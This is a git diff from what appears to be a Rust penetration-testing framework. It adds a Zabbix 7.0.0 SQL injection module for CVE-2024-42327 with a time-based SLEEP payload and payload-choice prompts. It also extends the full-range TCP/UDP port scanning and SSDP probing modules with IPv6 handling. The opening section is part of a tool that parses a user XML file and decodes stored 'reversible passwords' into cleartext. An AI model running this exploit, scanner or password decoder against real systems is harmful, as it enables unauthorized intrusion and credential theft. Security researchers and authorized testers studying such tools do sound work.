writeln!(log, "\nUser | Stored Hash | Reversible Password").ok();
writeln!(log, "{}", "_".repeat(80)).ok();
loop {
match reader.read_event_into(&mut buf) {
Ok(Event::Empty(ref e)) if e.name() == QName(b"User") => {
let mut username = String::new();
let mut user_hash = String::new();
let mut revpass = String::new();
for attr in e.attributes().flatten() {
match attr.key {
k if k == QName(b"UserName") => username = std::str::from_utf8(&attr.value)?.to_string(),
k if k == QName(b"UserPass") => user_hash = std::str::from_utf8(&attr.value)?.to_string(),
k if k == QName(b"RvsblePass") => revpass = std::str::from_utf8(&attr.value)?.to_string(),
_ => {}
}
}
let decoded = decode_pass(&revpass);
println!("{:<9}| {:<38}| {}", username, user_hash, decoded);
writeln!(log, "{:<9}| {:<38}| {}", username, user_hash, decoded).ok();
total_users += 1;
}
Ok(Event::Eof) => break,
Err(e) => return Err(anyhow!("XML parse error: {}", e)),
_ => {}
}
buf.clear();
}
println!("\n[+] Total users: {}", total_users);
writeln!(log, "\n[+] Total users: {}", total_users).ok();
println!("\n*Note: 'default' and 'HAUser' users may not be accessible remotely.*\n");
writeln!(log, "\n*Note: 'default' and 'HAUser' users may not be accessible remotely.*\n").ok();
Ok(())
}
+1
View File
@@ -0,0 +1 @@
pub mod zabbix_7_0_0_sql_injection;
@@ -0,0 +1,159 @@
use anyhow::{anyhow, Result};
use reqwest::Client;
use serde_json::json;
use std::fs;
use std::io::{self, Write};
const HEADERS: &str = "application/json";
// Internal function renamed to `exploit_zabbix` to avoid conflicts
async fn exploit_zabbix(api_url: &str, username: &str, password: &str, _payload: &str) -> Result<()> {
let client = Client::new();
let url = format!("{}/api_jsonrpc.php", api_url.trim_end_matches('/'));
// // Login to get the token
let login_data = json!({
"jsonrpc": "2.0",
"method": "user.login",
"params": {
"username": username,
"password": password
},
"id": 1,
"auth": null
});
let login_response = client
.post(&url)
.header("Content-Type", HEADERS)
.json(&login_data)
.send()
.await
.map_err(|e| anyhow!("Login request error: {}", e))?;
let login_response_json: serde_json::Value = login_response
.json()
.await
.map_err(|e| anyhow!("Failed to parse login response: {}", e))?;
let auth_token = login_response_json
.get("result")
.ok_or_else(|| anyhow!("Failed to retrieve auth token"))?
.as_str()
.ok_or_else(|| anyhow!("Auth token not a string"))?
.to_string();
// // SQLi test using the provided payload
let sqli_data = json!({
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"selectRole": ["roleid", "name", "type", "readonly AND (SELECT(SLEEP(5)))"],
"userids": ["1", "2"]
},
"id": 1,
"auth": auth_token
});
let test_response = client
.post(&url)
.header("Content-Type", HEADERS)
.json(&sqli_data)
.send()
.await
.map_err(|e| anyhow!("Test request error: {}", e))?;
let test_response_text = test_response
.text()
.await
.map_err(|e| anyhow!("Failed to read test response: {}", e))?;
if test_response_text.contains("\"error\"") {
println!("[-] NOT VULNERABLE.");
} else {
println!("[!] VULNERABLE.");
}
Ok(())
}
// Prompt user to choose a payload option
async fn get_payload_choice() -> Result<String> {
println!("Choose SQL payload option:");
println!("1: Load SQL payloads from file");
println!("2: Enter custom SQL payload");
println!("3: Use default SQL payload");
let mut choice = String::new();
print!("Enter your choice (1/2/3): ");
io::stdout().flush().unwrap();
io::stdin()
.read_line(&mut choice)
.map_err(|e| anyhow!("Failed to read choice: {}", e))?;
let choice = choice.trim();
match choice {
"1" => {
// Load from a file (e.g., sql_payloads.txt)
println!("Loading SQL payloads from file...");
let payloads = fs::read_to_string("sql_payloads.txt")
.map_err(|e| anyhow!("Error reading payload file: {}", e))?;
Ok(payloads.trim().to_string())
}
"2" => {
// Allow user to input a custom payload
println!("Enter your custom SQL payload (do not include the SELECT statement, only the payload part): ");
let mut custom_payload = String::new();
io::stdout().flush().unwrap();
io::stdin()
.read_line(&mut custom_payload)
.map_err(|e| anyhow!("Failed to read custom payload: {}", e))?;
let custom_payload = custom_payload.trim();
// Ensure the custom payload isn't empty
if custom_payload.is_empty() {
return Err(anyhow!("Custom payload cannot be empty. Please enter a valid payload."));
}
Ok(custom_payload.to_string())
}
"3" => {
// Use a default payload
println!("Using default SQL payload...");
Ok("readonly AND (SELECT(SLEEP(5)))".to_string())
}
_ => Err(anyhow!("Invalid choice, please select 1, 2, or 3.")),
}
}
// Public dispatch entry point
pub async fn run(target: &str) -> Result<()> {
println!("[*] Zabbix 7.0.0 SQL Injection Checker (CVE-2024-42327)");
println!("[*] Target API URL: {}", target);
let mut username = String::new();
let mut password = String::new();
print!("Username: ");
io::stdout().flush().unwrap();
io::stdin()
.read_line(&mut username)
.map_err(|e| anyhow!("Failed to read username: {}", e))?;
print!("Password: ");
io::stdout().flush().unwrap();
io::stdin()
.read_line(&mut password)
.map_err(|e| anyhow!("Failed to read password: {}", e))?;
let username = username.trim();
let password = password.trim();
// Get the payload choice from the user
let payload = get_payload_choice().await?;
// Run the exploit with the selected payload
exploit_zabbix(target, username, password, &payload).await
}
+37 -6
View File
@@ -2,7 +2,7 @@ use anyhow::Result;
use std::{
fs::File,
io::{self, Write},
net::SocketAddr,
net::{SocketAddr, ToSocketAddrs},
sync::Arc,
};
use tokio::{
@@ -66,6 +66,7 @@ pub async fn run_with_settings(
scan_udp_enabled: bool,
output_file: &str,
) -> Result<()> {
let target = normalize_target(target)?;
let semaphore = Arc::new(Semaphore::new(concurrency));
let mut tasks = vec![];
let mut file = File::create(output_file)?;
@@ -74,7 +75,7 @@ pub async fn run_with_settings(
println!("[*] Starting TCP scan...");
for port in 1..=65535 {
let permit = semaphore.clone().acquire_owned().await?;
let target = target.to_string();
let target = target.clone();
let mut file = file.try_clone()?;
let handle = tokio::spawn(async move {
@@ -103,7 +104,7 @@ pub async fn run_with_settings(
println!("[*] Starting UDP scan...");
for port in 1..=65535 {
let permit = semaphore.clone().acquire_owned().await?;
let target = target.to_string();
let target = target.clone();
let mut file = file.try_clone()?;
let handle = tokio::spawn(async move {
@@ -155,10 +156,14 @@ async fn scan_tcp(ip: &str, port: u16, timeout_secs: u64) -> Option<(String, Str
/// UDP scan (null packet, timeout-based)
async fn scan_udp(ip: &str, port: u16, timeout_secs: u64) -> Option<String> {
let local = "0.0.0.0:0".parse::<SocketAddr>().unwrap();
let remote = format!("{}:{}", ip, port).parse::<SocketAddr>().ok()?;
let socket = UdpSocket::bind(local).await.ok()?;
let remote = format!("{}:{}", ip, port);
let remote = match normalize_addr(&remote) {
Ok(addr) => addr,
Err(_) => return None,
};
let _ = socket.send_to(b"\x00", remote).await;
let socket = UdpSocket::bind(local).await.ok()?;
let _ = socket.send_to(b"\x00", &remote).await;
let mut buf = [0u8; 512];
match timeout(Duration::from_secs(timeout_secs), socket.recv_from(&mut buf)).await {
@@ -167,6 +172,32 @@ async fn scan_udp(ip: &str, port: u16, timeout_secs: u64) -> Option<String> {
}
}
/// Normalize IP/hostname for bracket handling and clean input
fn normalize_target(input: &str) -> Result<String> {
let input = input.trim().trim_start_matches('[').trim_end_matches(']').trim();
if input.contains(':') && !input.contains('.') {
// Likely IPv6, re-add brackets
Ok(format!("[{}]", input))
} else {
Ok(input.to_string())
}
}
/// Normalize and parse into a real SocketAddr
fn normalize_addr(input: &str) -> Result<SocketAddr> {
// Remove extra brackets first
let cleaned = input.trim().trim_start_matches('[').trim_end_matches(']');
// If IPv6, wrap again properly
let formatted = if cleaned.contains(':') && !cleaned.contains('.') {
format!("[{}]", cleaned)
} else {
cleaned.to_string()
};
let addrs = formatted.to_socket_addrs()?;
addrs.into_iter().next().ok_or_else(|| anyhow::anyhow!("Invalid address"))
}
/// Prompt for string input
fn prompt(message: &str) -> Result<String> {
print!("{}", message);
+48 -6
View File
@@ -5,11 +5,15 @@ use std::net::SocketAddr;
use tokio::net::UdpSocket;
use tokio::time::{timeout, Duration};
pub async fn run(target_ip: &str) -> Result<()> {
let port = 1900;
println!("[*] Sending SSDP M-SEARCH to {}:{}...", target_ip, port);
pub async fn run(target: &str) -> Result<()> {
let port = prompt_port().unwrap_or(1900);
let target = clean_ipv6_brackets(target);
let addr = normalize_target(&target, port)?;
println!("[*] Sending SSDP M-SEARCH to {}...", addr);
let addr = format!("{}:{}", target_ip, port);
let local_bind: SocketAddr = "0.0.0.0:0".parse()?;
let socket = UdpSocket::bind(local_bind).await?;
socket.connect(&addr).await?;
@@ -20,7 +24,7 @@ pub async fn run(target_ip: &str) -> Result<()> {
MAN: \"ssdp:discover\"\r\n\
MX: 2\r\n\
ST: upnp:rootdevice\r\n\r\n",
target_ip, port
target, port
);
socket.send(request.as_bytes()).await?;
@@ -29,7 +33,7 @@ pub async fn run(target_ip: &str) -> Result<()> {
match timeout(Duration::from_secs(3), socket.recv(&mut buf)).await {
Ok(Ok(size)) => {
let response = String::from_utf8_lossy(&buf[..size]);
parse_ssdp_response(&response, target_ip, port);
parse_ssdp_response(&response, &target, port);
}
_ => {
println!("[-] Target did not respond to M-SEARCH request");
@@ -39,6 +43,44 @@ pub async fn run(target_ip: &str) -> Result<()> {
Ok(())
}
/// Normalize the target: IPv6 -> [ipv6]:port, IPv4 stays as ipv4:port
fn normalize_target(target: &str, port: u16) -> Result<String> {
let addr = if target.contains(':') && !target.contains(']') {
// Plain IPv6 without brackets
format!("[{}]:{}", target, port)
} else if target.contains('[') {
// Already bracketed IPv6 (sanitize just in case)
format!("[{}]:{}", target.trim_matches(&['[', ']'][..]), port)
} else {
// IPv4 or hostname
format!("{}:{}", target, port)
};
Ok(addr)
}
/// Cleans up accidental double or triple brackets like [[::1]] → ::1
fn clean_ipv6_brackets(ip: &str) -> String {
ip.trim_start_matches('[')
.trim_end_matches(']')
.to_string()
}
/// Ask user for port (optional), fallback to 1900 if empty
fn prompt_port() -> Option<u16> {
println!("[*] Enter custom port (default 1900): ");
let mut input = String::new();
if let Ok(_) = std::io::stdin().read_line(&mut input) {
let input = input.trim();
if input.is_empty() {
return None;
}
if let Ok(p) = input.parse::<u16>() {
return Some(p);
}
}
None
}
fn parse_ssdp_response(response: &str, target_ip: &str, port: u16) {
let regexps = vec![
("server", r"(?i)Server:\s*(.*?)\r\n"),
+27 -12
View File
@@ -1,11 +1,33 @@
// src/utils.rs
use colored::*;
use std::fs;
use std::io::{BufRead, BufReader, Error};
use std::path::{Path};
use std::path::Path;
use anyhow::{Result};
/// Maximum folder depth to traverse
const MAX_DEPTH: usize = 6;
/// Take “1.2.3.4”, “::1”, “[::1]:8080” or “hostname” and
/// always return a valid “host:port” or “[ipv6]:port” string.
pub fn normalize_target(raw: &str) -> Result<String> {
if raw.contains("]:") || raw.starts_with('[') {
// Already normalized, like [::1]:8080 or [2001:db8::1]
return Ok(raw.to_string());
}
// Looks like an unwrapped IPv6 address if it has multiple colons
let is_ipv6 = raw.matches(':').count() >= 2;
if is_ipv6 {
Ok(format!("[{}]", raw))
} else {
Ok(raw.to_string())
}
}
/// Recursively list .rs files up to a certain depth (unchanged)
fn collect_module_paths(dir: &Path, depth: usize) -> Vec<String> {
let mut modules = Vec::new();
@@ -71,7 +93,7 @@ pub fn list_all_modules() {
}
}
/// Finds and displays modules matching a keyword
/// Finds and displays modules matching a keyword (unchanged)
pub fn find_modules(keyword: &str) {
let keyword_lower = keyword.to_lowercase();
let modules = collect_module_paths(Path::new("src/modules"), 0);
@@ -112,10 +134,7 @@ pub fn find_modules(keyword: &str) {
}
}
/// Parses a single proxy line (e.g., "1.2.3.4:9050" -> "http://1.2.3.4:9050")
/// or "socks5://127.0.0.1:9050" -> "socks5://127.0.0.1:9050"
/// Parses a single proxy line (unchanged)
fn parse_proxy_line(line: &str) -> String {
let trimmed = line.trim().to_lowercase();
if trimmed.starts_with("http://")
@@ -123,16 +142,13 @@ fn parse_proxy_line(line: &str) -> String {
|| trimmed.starts_with("socks4://")
|| trimmed.starts_with("socks5://")
{
// User specified a scheme, keep as is (but restore original case if you want).
line.to_string()
} else {
// Default to HTTP if no scheme is provided
format!("http://{}", line)
}
}
/// Load proxies from a file, returning lines like:
/// [ "http://1.2.3.4:8080", "socks4://5.6.7.8:1080", "socks5://..." ] etc.
/// Load proxies from a file, returning normalized proxy URLs (unchanged)
pub fn load_proxies_from_file(filename: &str) -> Result<Vec<String>, Error> {
let file = fs::File::open(filename)?;
let reader = BufReader::new(file);
@@ -141,8 +157,7 @@ pub fn load_proxies_from_file(filename: &str) -> Result<Vec<String>, Error> {
for line in reader.lines() {
let line = line?.trim().to_string();
if !line.is_empty() {
let parsed = parse_proxy_line(&line);
proxies.push(parsed);
proxies.push(parse_proxy_line(&line));
}
}